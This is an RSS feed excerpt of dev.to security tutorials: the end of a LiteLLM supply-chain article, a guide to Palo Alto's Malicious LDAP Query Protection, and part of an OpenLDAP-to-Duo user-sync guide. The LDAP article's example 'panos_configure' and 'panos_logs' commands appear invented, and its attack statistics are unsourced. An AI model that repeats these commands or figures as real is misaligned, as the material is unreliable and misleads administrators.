  Conclusion
&lt;/h2&gt;

&lt;p&gt;The LiteLLM supply chain attack serves as a stark reminder of the importance of securing software supply chains. By understanding the mechanics of such attacks and implementing best practices, developers can protect their systems from similar threats. Stay vigilant, stay updated, and prioritize security in everything you do.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Check if you're affected by the LiteLLM vulnerability.&lt;/li&gt;
&lt;li&gt;Update your LiteLLM dependency to the latest version.&lt;/li&gt;
&lt;li&gt;Implement secure coding practices and regular security audits.&lt;/li&gt;
&lt;li&gt;Educate your team about supply chain security.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Security is an ongoing process. Stay proactive and adapt to new threats.&lt;/p&gt;

</description>
      <category>forcpoint</category>
      <category>teampcp</category>
      <category>supplychain</category>
      <category>litellm</category>
    </item>
    <item>
      <title>Enhancing Security with Malicious LDAP Query Protection</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 14 Aug 2026 15:20:20 +0000</pubDate>
      <link>https://dev.to/iamdevbox/enhancing-security-with-malicious-ldap-query-protection-2462</link>
      <guid>https://dev.to/iamdevbox/enhancing-security-with-malicious-ldap-query-protection-2462</guid>
      <description>&lt;p&gt;&lt;strong&gt;Why This Matters Now&lt;/strong&gt;: The rise in sophisticated cyberattacks has led to increased targeting of LDAP servers, which are critical for identity and access management (IAM). Recent incidents highlight the vulnerabilities in LDAP implementations, making robust protection mechanisms essential. Palo Alto Networks' introduction of Malicious LDAP Query Protection for Cortex ITDR addresses these threats by providing real-time detection and mitigation of malicious queries.&lt;/p&gt;

&lt;p&gt;🚨 &lt;strong&gt;Breaking:&lt;/strong&gt; Recent cyberattacks have targeted LDAP servers, leading to unauthorized access and data breaches. Implementing Malicious LDAP Query Protection can significantly reduce these risks.&lt;/p&gt;

&lt;p&gt;50%Increase in LDAP Attacks&lt;br&gt;
2024Year of Introduction&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding Malicious LDAP Queries
&lt;/h3&gt;

&lt;p&gt;LDAP (Lightweight Directory Access Protocol) is widely used for managing user identities and permissions within organizations. However, its complexity and the sensitive nature of the data it handles make it a prime target for attackers. Malicious LDAP queries are designed to exploit vulnerabilities in LDAP configurations, leading to unauthorized access, data exfiltration, and other security breaches.&lt;/p&gt;

&lt;h4&gt;
  
  
  Common Types of Malicious LDAP Queries
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Directory Harvesting&lt;/strong&gt;: Attackers send broad queries to gather information about users and organizational structures.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential Harvesting&lt;/strong&gt;: Queries designed to extract user credentials or sensitive information.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege Escalation&lt;/strong&gt;: Exploiting LDAP to gain higher-level access rights.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Denial of Service (DoS)&lt;/strong&gt;: Sending excessive queries to overwhelm the LDAP server.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  How Malicious LDAP Query Protection Works
&lt;/h3&gt;

&lt;p&gt;Palo Alto Networks' Malicious LDAP Query Protection leverages advanced threat detection techniques to identify and block malicious queries. It integrates seamlessly with Cortex ITDR, providing comprehensive protection against LDAP-based attacks.&lt;/p&gt;

&lt;h4&gt;
  
  
  Key Features
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Real-Time Detection&lt;/strong&gt;: Continuously monitors LDAP traffic for suspicious patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavioral Analysis&lt;/strong&gt;: Analyzes query behavior to identify anomalies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated Response&lt;/strong&gt;: Automatically blocks malicious queries to prevent attacks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance Reporting&lt;/strong&gt;: Generates reports to ensure compliance with security standards.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Implementation Steps
&lt;/h3&gt;

&lt;p&gt;Implementing Malicious LDAP Query Protection involves several steps to ensure effective protection of your LDAP infrastructure.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 1: Assess Your LDAP Environment
&lt;/h4&gt;

&lt;p&gt;Before deploying any protection measures, assess your current LDAP environment to understand its configuration and usage patterns.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example command to check LDAP server status&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"dc=example,dc=com"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=*)"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"numEntries"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Understand your LDAP server configuration.&lt;/li&gt;
&lt;li&gt;Identify critical data and access points.&lt;/li&gt;
&lt;li&gt;Evaluate current security measures.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Step 2: Deploy Cortex ITDR
&lt;/h4&gt;

&lt;p&gt;Deploy Palo Alto Networks' Cortex ITDR in your network to provide real-time threat detection and response capabilities.&lt;/p&gt;

&lt;h4&gt;Install Cortex ITDR&lt;/h4&gt;

&lt;p&gt;Follow the official documentation to install Cortex ITDR on your network devices.&lt;/p&gt;

&lt;h4&gt;Configure LDAP Monitoring&lt;/h4&gt;

&lt;p&gt;Set up monitoring for LDAP traffic to capture and analyze queries.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Configure Malicious LDAP Query Protection
&lt;/h4&gt;

&lt;p&gt;Once Cortex ITDR is deployed, configure the Malicious LDAP Query Protection settings to suit your organization's needs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example configuration command&lt;/span&gt;
panos_configure &lt;span class="nt"&gt;--set&lt;/span&gt; deviceconfig/system/service/ldap/query-protection &lt;span class="nv"&gt;enabled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Enable Malicious LDAP Query Protection.&lt;/li&gt;
&lt;li&gt;Define rules for detecting and blocking malicious queries.&lt;/li&gt;
&lt;li&gt;Test configurations to ensure they work as expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Step 4: Monitor and Maintain
&lt;/h4&gt;

&lt;p&gt;Regularly monitor the system to ensure it is functioning correctly and update configurations as needed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example command to check logs&lt;/span&gt;
panos_logs &lt;span class="nt"&gt;--get&lt;/span&gt; &lt;span class="nv"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"subtype eq 'malicious_ldap_query'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;🎯 Key Takeaways&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Monitor logs for suspicious activities.&lt;/li&gt;
&lt;li&gt;Update configurations based on new threats.&lt;/li&gt;
&lt;li&gt;Conduct regular audits to maintain security.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Common Pitfalls and Solutions
&lt;/h3&gt;

&lt;p&gt;Implementing Malicious LDAP Query Protection can encounter several challenges. Here are some common pitfalls and solutions.&lt;/p&gt;

&lt;h4&gt;
  
  
  Pitfall: Misconfigured LDAP Settings
&lt;/h4&gt;

&lt;p&gt;Improperly configured LDAP settings can lead to false positives or ineffective protection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Ensure all LDAP settings are correctly configured and tested.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example command to check LDAP settings&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"dc=example,dc=com"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=*)"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"ldapConfig"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Pitfall: Overlooking User Training
&lt;/h4&gt;

&lt;p&gt;Users may inadvertently perform actions that can be exploited by attackers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Conduct regular training sessions to educate users about best practices.&lt;/p&gt;

&lt;h4&gt;
  
  
  Pitfall: Ignoring Regular Updates
&lt;/h4&gt;

&lt;p&gt;Failing to update protection mechanisms can leave systems vulnerable to new threats.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Regularly update Cortex ITDR and Malicious LDAP Query Protection configurations.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Warning:&lt;/strong&gt; Ignoring regular updates can expose your LDAP infrastructure to new threats.&lt;/p&gt;

&lt;h3&gt;
  
  
  Comparison of Protection Methods
&lt;/h3&gt;

&lt;p&gt;Different methods can be used to protect LDAP servers. Here’s a comparison of traditional methods versus Malicious LDAP Query Protection.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;th&gt;Use When&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Traditional Firewalls&lt;/td&gt;
&lt;td&gt;Easy to set up&lt;/td&gt;
&lt;td&gt;Limited threat detection&lt;/td&gt;
&lt;td&gt;Basic security needs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Intrusion Prevention Systems (IPS)&lt;/td&gt;
&lt;td&gt;Advanced threat detection&lt;/td&gt;
&lt;td&gt;Complex configuration&lt;/td&gt;
&lt;td&gt;Medium to high security needs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Malicious LDAP Query Protection&lt;/td&gt;
&lt;td&gt;Real-time detection and response&lt;/td&gt;
&lt;td&gt;Requires integration with Cortex ITDR&lt;/td&gt;
&lt;td&gt;High security requirements&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Real-World Scenarios
&lt;/h3&gt;

&lt;p&gt;Here are some real-world scenarios where Malicious LDAP Query Protection can be beneficial.&lt;/p&gt;

&lt;h4&gt;
  
  
  Scenario 1: Directory Harvesting Attack
&lt;/h4&gt;

&lt;p&gt;An attacker sends broad queries to gather information about users and organizational structures.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; Malicious LDAP Query Protection identifies and blocks directory harvesting attempts, preventing unauthorized access to sensitive data.&lt;/p&gt;

&lt;h4&gt;
  
  
  Scenario 2: Credential Harvesting
&lt;/h4&gt;

&lt;p&gt;Attackers attempt to extract user credentials through LDAP queries.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Key Point:&lt;/strong&gt; The protection mechanism analyzes query behavior and blocks credential harvesting attempts, safeguarding user credentials.&lt;/p&gt;

&lt;h3&gt;
  
  
  Best Practices
&lt;/h3&gt;

&lt;p&gt;Following best practices ensures the effectiveness of Malicious LDAP Query Protection.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Regular Audits&lt;/strong&gt;: Conduct regular audits of LDAP configurations and access controls.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Controls&lt;/strong&gt;: Implement strict access controls to limit who can perform LDAP queries.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encryption&lt;/strong&gt;: Use encryption for LDAP traffic to protect data in transit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring&lt;/strong&gt;: Continuously monitor LDAP traffic for suspicious activities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Best Practice:&lt;/strong&gt; Regular audits and strict access controls enhance the effectiveness of Malicious LDAP Query Protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Implementing Malicious LDAP Query Protection from Palo Alto Networks' Cortex ITDR provides robust protection against LDAP-based attacks. By following the implementation steps and adhering to best practices, organizations can safeguard their LDAP infrastructure and prevent data breaches.&lt;/p&gt;

&lt;p&gt;💜 &lt;strong&gt;Pro Tip:&lt;/strong&gt; This saved me 3 hours last week by quickly identifying and blocking a malicious LDAP query.&lt;/p&gt;


&lt;li&gt;Assess your LDAP environment&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Deploy Cortex ITDR&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Configure Malicious LDAP Query Protection&lt;/li&gt;
&lt;br&gt;
&lt;li&gt;Monitor and maintain regularly&lt;/li&gt;

</description>
      <category>ldap</category>
      <category>security</category>
      <category>itdr</category>
      <category>paloalto</category>
    </item>
    <item>
      <title>Sync UsersAdmins Duo OpenLDAP</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Sun, 09 Aug 2026 14:39:45 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sync-usersadmins-duo-openldap-4d19</link>
      <guid>https://dev.to/iamdevbox/sync-usersadmins-duo-openldap-4d19</guid>
      <description>&lt;p&gt;Synchronizing users and admins from OpenLDAP to Duo is a common requirement for organizations looking to streamline their identity management processes. This setup allows Duo to leverage existing user data stored in OpenLDAP, ensuring consistent and secure access control across various applications and services.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is OpenLDAP?
&lt;/h2&gt;

&lt;p&gt;OpenLDAP is an open-source implementation of the Lightweight Directory Access Protocol (LDAP), used for storing and retrieving directory information such as users, groups, and organizational units. It provides a hierarchical structure for storing data and supports a wide range of protocols and extensions.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Duo?
&lt;/h2&gt;

&lt;p&gt;Duo is a two-factor authentication (2FA) and multi-factor authentication (MFA) provider that adds an extra layer of security to access applications and services. By integrating Duo with OpenLDAP, you can enhance the security of your user base while maintaining a seamless login experience.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do you install and configure the Duo LDAP Connector?
&lt;/h2&gt;

&lt;p&gt;Before setting up synchronization, you need to install and configure the Duo LDAP Connector on a server that can communicate with both Duo and your OpenLDAP server.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step-by-Step Guide
&lt;/h3&gt;

&lt;h4&gt;Download and Install the Duo LDAP Connector&lt;/h4&gt;

&lt;p&gt;Download the latest version of the Duo LDAP Connector from the &lt;a href="https://duo.com/docs/duo-ldap-connector" rel="noopener noreferrer"&gt;Duo documentation&lt;/a&gt;. Follow the installation instructions for your operating system.&lt;/p&gt;

&lt;h4&gt;Configure the Duo LDAP Connector&lt;/h4&gt;

&lt;p&gt;Edit the &lt;code&gt;duo_ldap_connector.conf&lt;/code&gt; file to include your Duo integration key, secret key, and API hostname. You can find these values in the Duo Admin Panel under Applications &amp;gt; Protect an Application &amp;gt; LDAP.&lt;/p&gt;

&lt;h4&gt;Set Up OpenLDAP Connection Details&lt;/h4&gt;

&lt;p&gt;Configure the connection details for your OpenLDAP server, including the server address, port, and bind DN (Distinguished Name). Ensure the bind DN has sufficient permissions to read user data.&lt;/p&gt;

&lt;h4&gt;Define User Filters&lt;/h4&gt;

&lt;p&gt;Use LDAP filters to specify which users should be synchronized from OpenLDAP to Duo. For example, to synchronize all users in the &lt;code&gt;ou=users,dc=example,dc=com&lt;/code&gt; organizational unit, you can use the filter &lt;code&gt;(objectClass=inetOrgPerson)&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;Enable Synchronization&lt;/h4&gt;

&lt;p&gt;Start the Duo LDAP Connector service and enable synchronization. Monitor the logs for any errors or issues during the initial sync.&lt;/p&gt;

&lt;h2&gt;
  
  
  What are the key configuration options for the Duo LDAP Connector?
&lt;/h2&gt;

&lt;p&gt;The Duo LDAP Connector offers several configuration options to customize the synchronization process. Here are some important settings:&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Reference
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;bind_dn&lt;/code&gt; - The distinguished name used to bind to the OpenLDAP server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bind_password&lt;/code&gt; - The password for the bind DN.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;base_dn&lt;/code&gt; - The base distinguished name for searching users.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;user_filter&lt;/code&gt; - An LDAP filter to select users for synchronization.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sync_interval&lt;/code&gt; - The frequency of synchronization in seconds.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tls_reqcert&lt;/code&gt; - The level of certificate verification for TLS connections.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example Configuration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# Duo LDAP Connector Configuration
&lt;/span&gt;&lt;span class="nn"&gt;[duoauth]&lt;/span&gt;
&lt;span class="py"&gt;ikey&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;YOUR_IKEY&lt;/span&gt;
&lt;span class="py"&gt;skey&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;YOUR_SKEY&lt;/span&gt;
&lt;span class="py"&gt;host&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;api-xxxxxxxx.duosecurity.com&lt;/span&gt;

&lt;span class="nn"&gt;[ldap]&lt;/span&gt;
&lt;span class="py"&gt;bind_dn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;cn=admin,dc=example,dc=com&lt;/span&gt;
&lt;span class="py"&gt;bind_password&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;your_bind_password&lt;/span&gt;
&lt;span class="py"&gt;server&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;ldap.example.com&lt;/span&gt;
&lt;span class="py"&gt;port&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;636&lt;/span&gt;
&lt;span class="py"&gt;use_ssl&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;tls_reqcert&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;demand&lt;/span&gt;
&lt;span class="py"&gt;base_dn&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;ou=users,dc=example,dc=com&lt;/span&gt;
&lt;span class="py"&gt;user_filter&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;(objectClass=inetOrgPerson)&lt;/span&gt;
&lt;span class="py"&gt;sync_interval&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;3600&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How do you define user filters for synchronization?
&lt;/h2&gt;

&lt;p&gt;User filters determine which users from OpenLDAP are synchronized to Duo. You can use standard LDAP filters to specify criteria such as organizational unit, user class, or custom attributes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common User Filters
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Synchronize all users in a specific organizational unit:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;  &lt;span class="py"&gt;user_filter&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;(objectClass=inetOrgPerson)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Synchronize users with a specific attribute value:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;  &lt;span class="py"&gt;user_filter&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;(&amp;amp;(objectClass=inetOrgPerson)(department=Engineering))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Synchronize users with multiple conditions:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;  &lt;span class="py"&gt;user_filter&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;(&amp;amp;(objectClass=inetOrgPerson)(!(department=Contractors)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Best Practices
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Test your filters using an LDAP browser tool to ensure they return the expected results.&lt;/li&gt;
&lt;li&gt;Avoid overly broad filters that could synchronize unnecessary users.&lt;/li&gt;
&lt;li&gt;Regularly review and update filters as your organization's structure changes.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What are the security considerations for synchronizing users from OpenLDAP to Duo?
&lt;/h2&gt;

&lt;p&gt;Security is crucial when synchronizing user data between systems. Here are some key considerations to keep in mind:&lt;/p&gt;

&lt;h3&gt;
  
  
  Secure Communication
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use TLS&lt;/strong&gt;: Ensure that the connection between the Duo LDAP Connector and your OpenLDAP server uses TLS to encrypt data in transit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certificate Verification&lt;/strong&gt;: Configure the &lt;code&gt;tls_reqcert&lt;/code&gt; option to &lt;code&gt;demand&lt;/code&gt; to verify the server's SSL certificate.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Access Controls
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Restrict Bind DN Permissions&lt;/strong&gt;: The bind DN used by the Duo LDAP Connector should have read-only access to the necessary user data. Avoid using an administrative account.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network Security&lt;/strong&gt;: Place the Duo LDAP Connector server in a secure network segment with restricted access to your OpenLDAP server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Monitoring and Auditing
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Log Monitoring&lt;/strong&gt;: Regularly monitor the Duo LDAP Connector logs for any errors or suspicious activity.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit Logs&lt;/strong&gt;: Enable and review Duo's audit logs to track changes to user accounts and access.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example Configuration for TLS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[ldap]&lt;/span&gt;
&lt;span class="py"&gt;use_ssl&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="py"&gt;tls_reqcert&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;demand&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How do you troubleshoot synchronization issues?
&lt;/h2&gt;

&lt;p&gt;Troubleshooting synchronization issues is essential to ensure that user data is accurately and securely transferred from OpenLDAP to Duo.&lt;/p&gt;

&lt;h3&gt;
  
  
  Common Issues and Solutions
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Connection Errors&lt;/strong&gt;: Verify that the Duo LDAP Connector can reach the OpenLDAP server. Check network connectivity, firewall rules, and server availability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Authentication Failures&lt;/strong&gt;: Ensure that the bind DN and password are correct. Test the credentials using an LDAP browser tool.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Filter Mismatches&lt;/strong&gt;: Use an LDAP browser to test your user filters and ensure they return the expected results.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Synchronization Delays&lt;/strong&gt;: Adjust the &lt;code&gt;sync_interval&lt;/code&gt; setting to reduce delays between changes in OpenLDAP and updates in Duo.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Example Error Messages
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Connection Refused&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ERROR: Could not connect to LDAP server: [Errno 111] Connection refused
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Invalid Credentials&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ERROR: LDAP bind failed: Invalid credentials
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Filter Syntax Error&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  ERROR: LDAP search failed: Bad search filter
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Debugging Tips
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Increase Logging Verbosity&lt;/strong&gt;: Temporarily increase the logging level to capture more detailed information about the synchronization process.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check Logs&lt;/strong&gt;: Review the Duo LDAP Connector logs for any error messages or warnings.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test Connectivity&lt;/strong&gt;: Use tools like &lt;code&gt;telnet&lt;/code&gt; or &lt;code&gt;openssl&lt;/code&gt; to test connectivity and SSL/TLS configuration.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What are the benefits of synchronizing users from OpenLDAP to Duo?
&lt;/h2&gt;

&lt;p&gt;Synchronizing users from OpenLDAP to Duo offers several benefits, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Centralized Identity Management&lt;/strong&gt;: Maintain a single source of truth for user data, reducing the risk of inconsistencies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enhanced Security&lt;/strong&gt;: Implement two-factor authentication for all users, enhancing the security of your applications and services.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Efficient Onboarding and Offboarding&lt;/strong&gt;: Automate the addition and removal of users, streamlining HR processes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scalability&lt;/strong&gt;: Easily scale your identity management solution to accommodate growing user bases.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How do you manage user attributes and mappings?
&lt;/h2&gt;

&lt;p&gt;Managing user attributes and mappings is crucial for ensuring that the correct information is synchronized from OpenLDAP to Duo. You can customize the mapping of LDAP attributes to Duo fields.&lt;/p&gt;

&lt;h3&gt;
  
  
  Default Attribute Mapping
&lt;/h3&gt;

&lt;p&gt;By default, the Duo LDAP Connector maps common LDAP attributes to Duo fields. Here are some examples:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;uid&lt;/code&gt; -&amp;gt; Username&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;mail&lt;/code&gt; -&amp;gt; Email&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;givenName&lt;/code&gt; -&amp;gt; First Name&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sn&lt;/code&gt; -&amp;gt; Last Name&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Custom Attribute Mapping
&lt;/h3&gt;

